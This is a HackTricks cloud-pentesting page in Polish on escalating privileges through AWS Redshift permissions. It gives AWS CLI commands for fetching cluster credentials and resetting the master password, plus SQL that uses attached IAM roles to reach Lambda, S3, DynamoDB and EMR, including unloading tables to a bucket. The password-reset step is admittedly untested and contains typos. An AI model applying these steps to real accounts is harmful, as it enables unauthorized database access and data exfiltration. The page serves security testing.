AWS - Redshift Privesc

Support HackTricks

Redshift

Aby uzyskać więcej informacji o RDS, sprawdź:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

Dzięki tym uprawnieniom możesz uzyskać informacje o wszystkich klastrach (w tym nazwę i nazwę użytkownika klastra) oraz uzyskać poświadczenia do jego dostępu:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

Potencjalny wpływ: Znalezienie wrażliwych informacji w bazach danych.

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

Dzięki tym uprawnieniom możesz uzyskać informacje o wszystkich klastrach oraz uzyskać poświadczenia do ich dostępu. Zauważ, że użytkownik postgres będzie miał uprawnienia, które ma tożsamość IAM użyta do uzyskania poświadczeń.

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Potencjalny wpływ: Znalezienie wrażliwych informacji w bazach danych.

redshift:DescribeClusters, redshift:ModifyCluster?

Możliwe jest zmodyfikowanie hasła głównego użytkownika internal postgres (redshit) z aws cli (myślę, że to są potrzebne uprawnienia, ale jeszcze ich nie testowałem):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Potencjalny wpływ: Znalezienie wrażliwych informacji w bazach danych.

Uzyskiwanie dostępu do zewnętrznych usług

Aby uzyskać dostęp do wszystkich poniższych zasobów, musisz określić rolę do użycia. Klaster Redshift może mieć przypisaną listę ról AWS, które możesz wykorzystać jeśli znasz ARN lub możesz po prostu ustawić "default", aby użyć domyślnej przypisanej.

Ponadto, jak wyjaśniono tutaj, Redshift pozwala również na łączenie ról (o ile pierwsza może przyjąć drugą), aby uzyskać dalszy dostęp, po prostu oddzielając je przecinkiem: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdy

Jak wyjaśniono w https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, możliwe jest wywołanie funkcji lambda z redshift za pomocą czegoś takiego:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

Jak wyjaśniono w https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, możliwe jest czytanie i pisanie do koszyków S3:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

Jak wyjaśniono w https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, możliwe jest pobranie danych z dynamodb:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Tabela Amazon DynamoDB, która dostarcza dane, musi być utworzona w tym samym regionie AWS co twój klaster, chyba że użyjesz opcji REGION, aby określić region AWS, w którym znajduje się tabela Amazon DynamoDB.

EMR

Sprawdź https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html

References

Wsparcie dla HackTricks

Last updated